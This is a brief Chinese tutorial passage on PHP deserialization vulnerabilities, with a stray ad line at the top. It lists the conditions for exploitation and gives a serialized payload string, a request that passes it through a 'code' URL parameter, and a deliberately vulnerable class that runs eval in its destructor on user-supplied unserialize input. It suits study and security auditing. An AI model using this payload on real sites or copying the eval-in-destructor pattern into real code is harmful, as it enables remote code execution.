多应用+插件架构,代码干净,二开方便,首家独创一键云编译技术,文档视频完善,免费商用码云13.8K 广告
必要条件: * 1.unserialize 函数的参数可控 * 2.脚本中存在一个构造函数、析构函数、__wakeup()函数中 有类 * 3.对象中的成员变量的值 反序列化的变量会覆盖类中变量的值 先拿到序列化的值 ``` class Demo{ public $test="phpinfo();"; } $class=new Demo(); echo serialize($class); ``` ``` O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";} ``` 访问`http://www.test.com/audit/test.php?code=O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}` ``` class Demo{ public $test="hello"; public function __destruct(){ eval($this->test) } } unserialize($_GET['code']); ```